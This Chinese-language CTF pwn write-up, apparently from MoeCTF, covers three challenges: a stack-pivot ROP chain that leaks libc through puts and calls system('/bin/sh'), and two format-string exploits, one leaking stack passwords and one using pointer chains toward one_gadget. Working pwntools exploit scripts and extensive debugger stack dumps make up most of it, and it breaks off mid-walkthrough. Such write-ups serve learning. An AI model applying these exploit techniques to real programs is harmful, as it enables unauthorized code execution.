第二次retn后,第二次ret返回的是我们控制的leave
RBP 0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) ◂— 0 *RSP 0x404890 (bss_buffer+2032) ◂— 0 *RIP 0x40127b (vuln+115) ◂— leave ► 0x40127b <vuln+115> leave 00:0000│ rsp 0x404890 (bss_buffer+2032) ◂— 0 ... ↓ 7 skipped
控制执行leave后
*RBP 0x404780 (bss_buffer+1760) ◂— 0 *RSP 0x404848 (bss_buffer+1960) —▸ 0x40119e (magic+8) ◂— pop rdi *RIP 0x40127c (vuln+116) ◂— ret ► 0x40127c <vuln+116> ret 00:0000│ rsp 0x404848 (bss_buffer+1960) —▸ 0x40119e (magic+8) ◂— pop rdi 01:0008│+0d0 0x404850 (bss_buffer+1968) —▸ 0x404018 (puts@got[plt]) —▸ 0x7b3a0bc80e50 (puts) ◂— endbr64 02:0010│+0d8 0x404858 (bss_buffer+1976) —▸ 0x401070 (puts@plt) ◂— endbr64 03:0018│+0e0 0x404860 (bss_buffer+1984) —▸ 0x401264 (vuln+92) ◂— lea rax, [rbp - 0x40] 04:0020│+0e8 0x404868 (bss_buffer+1992) ◂— 0 ... ↓ 2 skipped 07:0038│+100 0x404880 (bss_buffer+2016) —▸ 0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) ◂— 0 08:0040│+108 0x404888 (bss_buffer+2024) —▸ 0x40127b (vuln+115) ◂— leave
控制执行ret后,即将执行put
RBP 0x404780 (bss_buffer+1760) ◂— 0 *RSP 0x404850 (bss_buffer+1968) —▸ 0x404018 (puts@got[plt]) —▸ 0x7b3a0bc80e50 (puts) ◂— endbr64 *RIP 0x40119e (magic+8) ◂— pop rdi ► 0x40119e <magic+8> pop rdi RDI => 0x404018 (puts@got[plt]) 0x40119f <magic+9> ret <puts@plt> ↓ 0x401070 <puts@plt> endbr64 0x401074 <puts@plt+4> bnd jmp qword ptr [rip + 0x2f9d] <puts> 00:0000│ rsp 0x404850 (bss_buffer+1968) —▸ 0x404018 (puts@got[plt]) —▸ 0x7b3a0bc80e50 (puts) ◂— endbr64 01:0008│+0d8 0x404858 (bss_buffer+1976) —▸ 0x401070 (puts@plt) ◂— endbr64 02:0010│+0e0 0x404860 (bss_buffer+1984) —▸ 0x401264 (vuln+92) ◂— lea rax, [rbp - 0x40] 03:0018│+0e8 0x404868 (bss_buffer+1992) ◂— 0 ... ↓ 2 skipped 06:0030│+100 0x404880 (bss_buffer+2016) —▸ 0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) ◂— 0 07:0038│+108 0x404888 (bss_buffer+2024) —▸ 0x40127b (vuln+115) ◂— leave
put结束前
RBP 0x404780 (bss_buffer+1760) ◂— 0 *RSP 0x404860 (bss_buffer+1984) —▸ 0x401264 (vuln+92) ◂— lea rax, [rbp - 0x40] *RIP 0x7b3a0bc80f82 (puts+306) ◂— ret ► 0x7b3a0bc80f82 <puts+306> ret <vuln+92> 00:0000│ rsp 0x404860 (bss_buffer+1984) —▸ 0x401264 (vuln+92) ◂— lea rax, [rbp - 0x40] 01:0008│+0e8 0x404868 (bss_buffer+1992) ◂— 0 ... ↓ 2 skipped 04:0020│+100 0x404880 (bss_buffer+2016) —▸ 0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) ◂— 0 05:0028│+108 0x404888 (bss_buffer+2024) —▸ 0x40127b (vuln+115) ◂— leave
第三次read前
RBP 0x404780 (bss_buffer+1760) ◂— 0 RSP 0x404868 (bss_buffer+1992) ◂— 0 *RIP 0x401275 (vuln+109) ◂— call read @plt ► 0x401275 <vuln+109> call read @plt <read @plt> fd: 0 (pipe:[82862]) buf: 0x404740 (bss_buffer+1696) ◂— 0 nbytes: 0x50 00:0000│ rsp 0x404868 (bss_buffer+1992) ◂— 0 ... ↓ 2 skipped 03:0018│+100 0x404880 (bss_buffer+2016) —▸ 0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) ◂— 0 04:0020│+108 0x404888 (bss_buffer+2024) —▸ 0x40127b (vuln+115) ◂— leave
第三次read结束后
RBP 0x404780 (bss_buffer+1760) —▸ 0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— 0 RSP 0x404868 (bss_buffer+1992) ◂— 0 *RIP 0x40127b (vuln+115) ◂— leave ► 0x40127b <vuln+115> leave 00:0000│ rsp 0x404868 (bss_buffer+1992) ◂— 0 ... ↓ 2 skipped 03:0018│+100 0x404880 (bss_buffer+2016) —▸ 0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) —▸ 0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— ... 04:0020│+108 0x404888 (bss_buffer+2024) —▸ 0x40127b (vuln+115) ◂— leave 00:0000│ rsi 0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— 0 01:0008│-038 0x404748 (bss_buffer+1704) —▸ 0x40119f (magic+9) ◂— ret 02:0010│-030 0x404750 (bss_buffer+1712) —▸ 0x40119e (magic+8) ◂— pop rdi 03:0018│-028 0x404758 (bss_buffer+1720) —▸ 0x7b3a0bdd8678 ◂— 0x68732f6e69622f /* '/bin/sh' */ 04:0020│-020 0x404760 (bss_buffer+1728) —▸ 0x7b3a0bc50d70 (system) ◂— endbr64 05:0028│-018 0x404768 (bss_buffer+1736) ◂— 0 ... ↓ 2 skipped 08:0040│ rbp 0x404780 (bss_buffer+1760) —▸ 0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— 0 09:0048│+008 0x404788 (bss_buffer+1768) —▸ 0x40127b (vuln+115) ◂— leave
第三次leave后
*RBP 0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— 0 *RSP 0x404788 (bss_buffer+1768) —▸ 0x40127b (vuln+115) ◂— leave *RIP 0x40127c (vuln+116) ◂— ret ► 0x40127c <vuln+116> ret <vuln+115> ↓ 0x40127b <vuln+115> leave 0x40127c <vuln+116> ret <vuln+115> 00:0000│ rsp 0x404788 (bss_buffer+1768) —▸ 0x40127b (vuln+115) ◂— leave
第三次ret后,第三次ret返回的也是我们控制的leave
RBP 0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— 0 *RSP 0x404790 (bss_buffer+1776) —▸ 0x7b3a0bc8aeed (_IO_file_write+45) ◂— test rax, rax *RIP 0x40127b (vuln+115) ◂— leave ► 0x40127b <vuln+115> leave 0x40127c <vuln+116> ret <magic+9> ↓ 0x40119f <magic+9> ret <magic+8> ↓ 0x40119e <magic+8> pop rdi RDI => 0x7b3a0bdd8678 0x40119f <magic+9> ret <system> 00:0000│ rsp 0x404790 (bss_buffer+1776) —▸ 0x7b3a0bc8aeed (_IO_file_write+45) ◂— test rax, rax
控制执行的leave后
*RBP 0x404680 (bss_buffer+1504) ◂— 0 *RSP 0x404748 (bss_buffer+1704) —▸ 0x40119f (magic+9) ◂— ret *RIP 0x40127c (vuln+116) ◂— ret ► 0x40127c <vuln+116> ret <magic+9> ↓ 0x40119f <magic+9> ret <magic+8> ↓ 0x40119e <magic+8> pop rdi RDI => 0x7b3a0bdd8678 0x40119f <magic+9> ret <system> 00:0000│ rsp 0x404748 (bss_buffer+1704) —▸ 0x40119f (magic+9) ◂— ret 01:0008│+0d0 0x404750 (bss_buffer+1712) —▸ 0x40119e (magic+8) ◂— pop rdi 02:0010│+0d8 0x404758 (bss_buffer+1720) —▸ 0x7b3a0bdd8678 ◂— 0x68732f6e69622f /* '/bin/sh' */ 03:0018│+0e0 0x404760 (bss_buffer+1728) —▸ 0x7b3a0bc50d70 (system) ◂— endbr64 04:0020│+0e8 0x404768 (bss_buffer+1736) ◂— 0 ... ↓ 2 skipped 07:0038│+100 0x404780 (bss_buffer+1760) —▸ 0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— 0 08:0040│+108 0x404788 (bss_buffer+1768) —▸ 0x40127b (vuln+115) ◂— leave
控制执行的ret后
RBP 0x404680 (bss_buffer+1504) ◂— 0 *RSP 0x404750 (bss_buffer+1712) —▸ 0x40119e (magic+8) ◂— pop rdi *RIP 0x40119f (magic+9) ◂— ret ► 0x40119f <magic+9> ret <magic+8> ↓ 0x40119e <magic+8> pop rdi RDI => 0x7b3a0bdd8678 0x40119f <magic+9> ret <magic+8> ↓ 0x40119e <magic+8> pop rdi 0x40119f <magic+9> ret <magic+8> ↓ 0x40119e <magic+8> pop rdi 00:0000│ rsp 0x404750 (bss_buffer+1712) —▸ 0x40119e (magic+8) ◂— pop rdi 01:0008│+0d8 0x404758 (bss_buffer+1720) —▸ 0x7b3a0bdd8678 ◂— 0x68732f6e69622f /* '/bin/sh' */ 02:0010│+0e0 0x404760 (bss_buffer+1728) —▸ 0x7b3a0bc50d70 (system) ◂— endbr64 03:0018│+0e8 0x404768 (bss_buffer+1736) ◂— 0 ... ↓ 2 skipped 06:0030│+100 0x404780 (bss_buffer+1760) —▸ 0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— 0 07:0038│+108 0x404788 (bss_buffer+1768) —▸ 0x40127b (vuln+115) ◂— leave
magic执行
RBP 0x404680 (bss_buffer+1504) ◂— 0 *RSP 0x404758 (bss_buffer+1720) —▸ 0x7b3a0bdd8678 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x40119e (magic+8) ◂— pop rdi ► 0x40119e <magic+8> pop rdi RDI => 0x7b3a0bdd8678 0x40119f <magic+9> ret <system> ↓ 0x7b3a0bc50d70 <system> endbr64 0x7b3a0bc50d74 <system+4> test rdi, rdi 0x7b3a0bdd8678 & 0x7b3a0bdd8678 EFLAGS => 0x206 [ cf PF af zf sf IF df of ac ] 0x7b3a0bc50d77 <system+7> ✘ je system+16 <system+16> 00:0000│ rsp 0x404758 (bss_buffer+1720) —▸ 0x7b3a0bdd8678 ◂— 0x68732f6e69622f /* '/bin/sh' */ 01:0008│+0e0 0x404760 (bss_buffer+1728) —▸ 0x7b3a0bc50d70 (system) ◂— endbr64 02:0010│+0e8 0x404768 (bss_buffer+1736) ◂— 0 ... ↓ 2 skipped 05:0028│+100 0x404780 (bss_buffer+1760) —▸ 0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— 0 06:0030│+108 0x404788 (bss_buffer+1768) —▸ 0x40127b (vuln+115) ◂— leave
system执行
RBP 0x404680 (bss_buffer+1504) ◂— 0 *RSP 0x404760 (bss_buffer+1728) —▸ 0x7b3a0bc50d70 (system) ◂— endbr64 *RIP 0x40119f (magic+9) ◂— ret ► 0x40119f <magic+9> ret <system> ↓ 0x7b3a0bc50d70 <system> endbr64 0x7b3a0bc50d74 <system+4> test rdi, rdi 0x7b3a0bdd8678 & 0x7b3a0bdd8678 EFLAGS => 0x206 [ cf PF af zf sf IF df of ac ] 0x7b3a0bc50d77 <system+7> ✘ je system+16 <system+16> 0x7b3a0bc50d79 <system+9> jmp 0x7b3a0bc50900 <0x7b3a0bc50900> 00:0000│ rsp 0x404760 (bss_buffer+1728) —▸ 0x7b3a0bc50d70 (system) ◂— endbr64 01:0008│+0e8 0x404768 (bss_buffer+1736) ◂— 0 ... ↓ 2 skipped 04:0020│+100 0x404780 (bss_buffer+1760) —▸ 0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— 0 05:0028│+108 0x404788 (bss_buffer+1768) —▸ 0x40127b (vuln+115) ◂— leave
上面就是我们的全部过程,看起来比较复杂,但是思路是很清晰的
p = start() leave_retn_addr=0x40127b start_addr=0x401264 pop_rdi_ret_addr=0x40119e puts_got=0x404018 puts_plt=0x401070 write_addr=0x404880 p.recvuntil(b"> " ) payload1=b'a' *0x40 payload1+=p64(write_addr) payload1+=p64(start_addr) p.send(payload1) payload2=p64(write_addr-0x100 ) payload2+=p64(pop_rdi_ret_addr) payload2+=p64(puts_got) payload2+=p64(puts_plt) payload2+=p64(start_addr) payload2+=p64(0 )*3 payload2+=p64(write_addr-0x40 ) payload2+=p64(leave_retn_addr) p.send(payload2) data = p.recvuntil(b'\x0a' )[:-1 ] puts_addr = u64(data[-6 :].ljust(8 , b'\x00' )) log.success(hex (puts_addr)) libc_base=puts_addr-libc.sym["puts" ] sys_addr=libc_base+libc.sym["system" ] bin_addr=libc_base+next (libc.search(b"/bin/sh" )) payload3=p64(write_addr-0x200 ) payload3+=p64(pop_rdi_ret_addr+1 ) payload3+=p64(pop_rdi_ret_addr) payload3+=p64(bin_addr) payload3+=p64(sys_addr) payload3+=p64(0 )*3 payload3+=p64(write_addr-0x140 ) payload3+=p64(leave_retn_addr) p.send(payload3) p.interactive()
fmt
int __fastcall main (int argc, const char **argv, const char **envp) { char *s2_1; char s1[16 ]; char s2[16 ]; char s[88 ]; unsigned __int64 v8; v8 = __readfsqword(0x28u ); init(argc, argv, envp); s2_1 = (char *)malloc (0x20u LL); generate(s2, 5LL ); generate(s2_1, 5LL ); puts ("Hey there, little one, what's your name?" ); fgets(s, 80 , stdin ); printf ("Nice to meet you," ); printf (s); puts ("I buried two treasures on the stack.Can you find them?" ); fgets(s1, 8 , stdin ); if ( strncmp (s1, s2, 5uLL ) ) lose(); puts ("Yeah,another one?" ); fgets(s1, 8 , stdin ); if ( strncmp (s1, s2_1, 5uLL ) ) lose(); win(); return 0 ; }
unsigned __int64 __fastcall generate (__int64 a1, unsigned __int64 i_1) { unsigned __int64 i; char abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[56 ]; unsigned __int64 v5; v5 = __readfsqword(0x28u ); strcpy (abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" ); for ( i = 0LL ; i < i_1; ++i ) *(_BYTE *)(a1 + i) = abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[(int )arc4random_uniform(52LL )]; *(_BYTE *)(a1 + i_1) = 0 ; return v5 - __readfsqword(0x28u ); }
int win () { puts ("You got it!" ); return system("/bin/sh" ); }
运行完generate后
00:0000│ rsp 0x7ffcc2f736c0 ◂— 0xc000 01:0008│-088 0x7ffcc2f736c8 —▸ 0x654944ad82a0 ◂— 0x4e4c654b67 /* 'gKeLN' */ 02:0010│-080 0x7ffcc2f736d0 ◂— 0x1b00000 03:0018│-078 0x7ffcc2f736d8 ◂— 0x300000 04:0020│-070 0x7ffcc2f736e0 ◂— 0x4e6966444f /* 'ODfiN' */ 05:0028│-068 0x7ffcc2f736e8 —▸ 0x7ffcc2f73718 ◂— 0 06:0030│-060 0x7ffcc2f736f0 ◂— 0xc500000006 07:0038│-058 0x7ffcc2f736f8 ◂— 0
可以看到一个密码储存在一个地址处,可以用%s泄露,另一个密码就是栈上的地址,可以用%p泄露
计算好偏移并接收泄露的密码,再发送出去就可以了
p = start() p.recvuntil(b"Hey there, little one, what's your name?\n" ) payload=b'A' *8 +b'%7$s' +b'%10$p' p.sendline(payload) p.recvuntil(b"Nice to meet you," ) p.recvuntil(b'A' *8 ) s2_1= p.recv(5 ) hex_str=p.recv(12 ) hex_int = int (hex_str, 16 ) byte_data = hex_int.to_bytes(length=5 , byteorder='little' ) s2 = byte_data.decode('ascii' , errors='ignore' ) p.recvuntil(b"I buried two treasures on the stack.Can you find them?\n" ) p.sendline(s2) p.recvuntil(b"Yeah,another one?\n" ) p.sendline(s2_1) p.interactive()
fmt_s
这题是我认为这次比赛pwn题最难的一道
int __fastcall main (int argc, const char **argv, const char **envp) { int i; init(argc, argv, envp); puts ("You're walking down the road when a monster appear." ); for ( i = 1 ; i <= 3 && !flag; ++i ) talk(); if ( (unsigned __int64)atk <= 0x1BF52 ) puts ("You've been eaten by the monster." ); else he(); return 0 ; }
__int64 talk () { puts ("You start talking to him..." ); flag ^= 1u ; read(0 , fmt, 0x20u LL); printf (fmt); puts ("?" ); puts ("You enraged the monster-prepare for battle!" ); return my_read(&atk, 8LL ); }
unsigned __int64 he () { char command[6 ]; unsigned __int64 v2; v2 = __readfsqword(0x28u ); qmemcpy(command, "a_flag" , sizeof (command)); puts ("The monster is defeated, and you obtain: flag?" ); system(command); return v2 - __readfsqword(0x28u );
fmt写入在bss段上,属于一道非栈上格式化字符串漏洞题
.bss:00000000004040A0 public atk .bss:00000000004040A0 atk dq ? ; DATA XREF: talk+7A↑o .bss:00000000004040A0 ; main:loc_4013BE↑r .bss:00000000004040A8 public flag .bss:00000000004040A8 flag dd ? ; DATA XREF: talk+1B↑r .bss:00000000004040A8 ; talk+24↑w ... .bss:00000000004040AC align 20h .bss:00000000004040C0 public fmt .bss:00000000004040C0 ; char fmt[256] .bss:00000000004040C0 fmt db 100h dup(?) ; DATA XREF: talk+2F↑o .bss:00000000004040C0 ; talk+43↑o .bss:00000000004040C0 _bss ends
没有后门函数,最好的方法就是使用one_gadget,修改返回地址来达到劫持程序的目的
非栈上格式化字符串一般是打一个指针串,就是先修改一个指针指向可以修改的地方,然后修改这个指针指向的指针的内容
00:0000 | rsp 0x7ffd9784e118 → 0x40127c (vuln+101) ← lea rax, [rip + 0x2ddd] 01:0008 | -010 0x7ffd9784e120 → 0x40129e (main) ← endbr64 02:0010 | -008 0x7ffd9784e128 ← 0x3004011fa 03:0018 | rbp 0x7ffd9784e130 → 0x7ffd9784e140 ← 1 04:0020 | +008 0x7ffd9784e138 → `0x4012ba (main+28)` ← mov eax, 0 05:0028 | +010 0x7ffd9784e140 ← 1 06:0030 | +018 0x7ffd9784e148 → 0x7fecc58f6d90 (__libc_start_call_main+128) ← mov edi, eax 07:0038 | +020 0x7ffd9784e150 ← 0 08:0040 | +028 0x7ffd9784e158 → 0x40129e (main) ← endbr64 09:0048 | +030 0x7ffd9784e160 ← 0x19784e240 0a:0050 | +038 `0x7ffd9784e168 → 0x7ffd9784e258 → 0x7ffd9785011b` ← 0x4853006e77702f2e / * './pwn' */ 0b:0058 | +040 0x7ffd9784e170 ← 0 0c:0060 | +048 0x7ffd9784e178 ← 0xe37404db4f04c105 0d:0068 | +050 0x7ffd9784e180 → 0x7ffd9784e258 → 0x7ffd9785011b ← 0x4853006e77702f2e / * './pwn' */ 0e:0070 | +058 0x7ffd9784e188 → 0x40129e (main) ← endbr64 0f:0078 | +060 0x7ffd9784e190 → 0x403db8 (__do_global_dtors_aux_fini_array_entry) → 0x401180 (__do_global_dtors_aux) ← endbr64
比如说,上面0x4012ba (main+28)是 vul 函数的返回地址,我们是不能直接修改这个值的
栈地址 –>addr2–>addr3,已知栈地址是第几个参数,我们能修改的是 addr3
栈上一般都有一些符合上述形式的链,如0a:0050 | +038 0x7ffd9784e168 → 0x7ffd9784e258 → 0x7ffd9785011b
我们可以修改 addr3 为 0x7ffd9784e138 (vul 函数返回地址在栈上的位置)
这样的话,我们只需要知道 addr2 是第几个参数,那么我们就可以通过 addr2–>addr3–>vul_ret_addr 来修改 vul 函数的返回地址
下面演示的是“诸葛连弩”的打法:
栈上一般都会有可以获得libc基地址的东西,比如说__libc_start_main
我们先来看看talk函数的栈内容吧
00:0000│ rsp 0x7ffea6500670 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched' 01:0008│-008 0x7ffea6500678 —▸ 0x40136f (main) ◂— endbr64 02:0010│ rbp 0x7ffea6500680 —▸ 0x7ffea65006a0 ◂— 1 03:0018│+008 0x7ffea6500688 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1 04:0020│+010 0x7ffea6500690 ◂— 0x1000 05:0028│+018 0x7ffea6500698 ◂— 0x100401110 06:0030│+020 0x7ffea65006a0 ◂— 1 07:0038│+028 0x7ffea65006a8 —▸ 0x7913ed829d90 ◂— mov edi, eax 08:0040│+030 0x7ffea65006b0 ◂— 0 09:0048│+038 0x7ffea65006b8 —▸ 0x40136f (main) ◂— endbr64 0a:0050│+040 0x7ffea65006c0 ◂— 0x1a65007a0 0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched' 0c:0060│+050 0x7ffea65006d0 ◂— 0 0d:0068│+058 0x7ffea65006d8 ◂— 0x6d26ff8a1914566c 0e:0070│+060 0x7ffea65006e0 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched' 0f:0078│+068 0x7ffea65006e8 —▸ 0x40136f (main) ◂— endbr64 10:0080│+070 0x7ffea65006f0 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64 11:0088│+078 0x7ffea65006f8 —▸ 0x7913edace040 (_rtld_global) —▸ 0x7913edacf2e0 ◂— 0 12:0090│+080 0x7ffea6500700 ◂— 0x92dbb32a1476566c 13:0098│+088 0x7ffea6500708 ◂— 0x9f01248f239e566c 14:00a0│+090 0x7ffea6500710 ◂— 0x791300000000 15:00a8│+098 0x7ffea6500718 ◂— 0 ... ↓ 3 skipped 19:00c8│+0b8 0x7ffea6500738 ◂— 0xb0add8007ab87600 1a:00d0│+0c0 0x7ffea6500740 ◂— 0 1b:00d8│+0c8 0x7ffea6500748 —▸ 0x7913ed829e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159] 1c:00e0│+0d0 0x7ffea6500750 —▸ 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash' 1d:00e8│+0d8 0x7ffea6500758 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64 1e:00f0│+0e0 0x7ffea6500760 —▸ 0x7913edacf2e0 ◂— 0 1f:00f8│+0e8 0x7ffea6500768 ◂— 0 20:0100│+0f0 0x7ffea6500770 ◂— 0 21:0108│+0f8 0x7ffea6500778 —▸ 0x401110 (_start) ◂— endbr64 22:0110│+100 0x7ffea6500780 —▸ 0x7ffea65007b0 ◂— 1 23:0118│+108 0x7ffea6500788 ◂— 0 24:0120│+110 0x7ffea6500790 ◂— 0 25:0128│+118 0x7ffea6500798 —▸ 0x401135 (_start+37) ◂— hlt 26:0130│+120 0x7ffea65007a0 —▸ 0x7ffea65007a8 ◂— 0x1c 27:0138│+128 0x7ffea65007a8 ◂— 0x1c 28:0140│+130 0x7ffea65007b0 ◂— 1 29:0148│ r12 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched' 2a:0150│+140 0x7ffea65007c0 ◂— 0 2b:0158│+148 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash' 2c:0160│+150 0x7ffea65007d0 —▸ 0x7ffea6502a24 ◂— 'COLORTERM=truecolor'
从这里可以得到libc基址
1b:00d8│+0c8 0x7ffea6500748 —▸ 0x7913ed829e40 (__libc_start_main+128)
偏移量是33,使用%33$p将地址输出出来并计算libc基址得到one_gadget地址
观察发现07:0038│+028 0x7ffea65006a8 —▸ 0x7913ed829d90 ◂— mov edi, eax是主函数的返回地址
偏移量是13,使用%13$p将地址输出出来便于修改为one_gadget
再将rbp的地址打印出来,便于修改rbp来达成one_gadget实现条件
02:0010│ rbp 0x7ffea6500680 —▸ 0x7ffea65006a0 ◂— 1
偏移量是8,打印 0x7ffea65006a0,再减去0x20得到rbp地址
另外要不断执行talk利用漏洞,需要注意for ( i = 1; i <= 3 && !flag; ++i )
每次执行都有异或操作flag ^= 1u;
需要我们每次利用都要使flag为0,怎么修改呢?
观察到
.bss:00000000004040A0 atk dq ? ; DATA XREF: talk+7A↑o .bss:00000000004040A0 ; main:loc_4013BE↑r .bss:00000000004040A8 public flag .bss:00000000004040A8 flag dd ? ; DATA XREF: talk+1B↑r .bss:00000000004040A8 ; talk+24↑w ...
return my_read(&atk, 8LL );
atk可以覆盖flag,于是我使用fffffff0来将flag覆盖为0
我们还需要无限次操作,修改i是必要的,此时我们只剩下两次操作机会,相当于只能修改一次任意地址的任意内容
注意到i是栈上的,第一次我们修改一个三连以上指针的第三个指针为i的符号位地址,第二次利用第二个指针来修改i的内容
这是第二次read前
00:0000│ rsp 0x7ffea6500670 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched' 01:0008│-008 0x7ffea6500678 ◂— 0x80040136f 02:0010│ rbp 0x7ffea6500680 —▸ 0x7ffea65006a0 ◂— 1 03:0018│+008 0x7ffea6500688 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1 04:0020│+010 0x7ffea6500690 ◂— 0x1000 05:0028│+018 0x7ffea6500698 ◂— 0x200401110 06:0030│ r9 0x7ffea65006a0 ◂— 1 07:0038│+028 0x7ffea65006a8 —▸ 0x7913ed829d90 ◂— mov edi, eax
可以看见
int i; // [rsp+Ch] [rbp-4h]与05:0028│+018 0x7ffea6500698 ◂— 0x200401110,这个2正是存放在主函数的栈上的i
所以地址是rbp+0x18,又因为要改的是符号位,所以地址是rbp+0x18+7
详细演示一下这段代码的作用
p.recvuntil(b"You start talking to him...\n" ) payload2=b"%" + str (i_addr).encode("utf-8" ) + b"c%17$hn\x00" p.send(payload2) p.recvuntil(b"You enraged the monster-prepare for battle!\n" ) p.send(b"fffffff0" ) p.recvuntil(b"You start talking to him...\n" ) payload3=b"%" + str (0xff ).encode("utf-8" ) + b"c%47$hhn" p.send(payload3) p.recvuntil(b"You enraged the monster-prepare for battle!\n" ) p.send(b"fffffff0" )
第二次printf前
00:0000│ rsp 0x7ffea6500670 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched' 01:0008│-008 0x7ffea6500678 ◂— 0x80040136f 02:0010│ rbp 0x7ffea6500680 —▸ 0x7ffea65006a0 ◂— 1 03:0018│+008 0x7ffea6500688 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1 04:0020│+010 0x7ffea6500690 ◂— 0x1000 05:0028│+018 0x7ffea6500698 ◂— 0x200401110 06:0030│ r9 0x7ffea65006a0 ◂— 1 07:0038│+028 0x7ffea65006a8 —▸ 0x7913ed829d90 ◂— mov edi, eax 08:0040│+030 0x7ffea65006b0 ◂— 0 09:0048│+038 0x7ffea65006b8 —▸ 0x40136f (main) ◂— endbr64 0a:0050│+040 0x7ffea65006c0 ◂— 0x1a65007a0 0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched' 0c:0060│+050 0x7ffea65006d0 ◂— 0 0d:0068│+058 0x7ffea65006d8 ◂— 0x6d26ff8a1914566c 0e:0070│+060 0x7ffea65006e0 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched' 0f:0078│+068 0x7ffea65006e8 —▸ 0x40136f (main) ◂— endbr64 10:0080│+070 0x7ffea65006f0 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64 11:0088│+078 0x7ffea65006f8 —▸ 0x7913edace040 (_rtld_global) —▸ 0x7913edacf2e0 ◂— 0 12:0090│+080 0x7ffea6500700 ◂— 0x92dbb32a1476566c 13:0098│+088 0x7ffea6500708 ◂— 0x9f01248f239e566c 14:00a0│+090 0x7ffea6500710 ◂— 0x791300000000 15:00a8│+098 0x7ffea6500718 ◂— 0 ... ↓ 3 skipped 19:00c8│+0b8 0x7ffea6500738 ◂— 0xb0add8007ab87600 1a:00d0│+0c0 0x7ffea6500740 ◂— 0 1b:00d8│+0c8 0x7ffea6500748 —▸ 0x7913ed829e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159] 1c:00e0│+0d0 0x7ffea6500750 —▸ 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash' 1d:00e8│+0d8 0x7ffea6500758 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64 1e:00f0│+0e0 0x7ffea6500760 —▸ 0x7913edacf2e0 ◂— 0 1f:00f8│+0e8 0x7ffea6500768 ◂— 0 20:0100│+0f0 0x7ffea6500770 ◂— 0 21:0108│+0f8 0x7ffea6500778 —▸ 0x401110 (_start) ◂— endbr64 22:0110│+100 0x7ffea6500780 —▸ 0x7ffea65007b0 ◂— 1 23:0118│+108 0x7ffea6500788 ◂— 0 24:0120│+110 0x7ffea6500790 ◂— 0 25:0128│+118 0x7ffea6500798 —▸ 0x401135 (_start+37) ◂— hlt 26:0130│+120 0x7ffea65007a0 —▸ 0x7ffea65007a8 ◂— 0x1c 27:0138│+128 0x7ffea65007a8 ◂— 0x1c 28:0140│+130 0x7ffea65007b0 ◂— 1 29:0148│ r12 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched' 2a:0150│+140 0x7ffea65007c0 ◂— 0 2b:0158│+148 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash' 2c:0160│+150 0x7ffea65007d0 —▸ 0x7ffea6502a24 ◂— 'COLORTERM=truecolor'
printf后
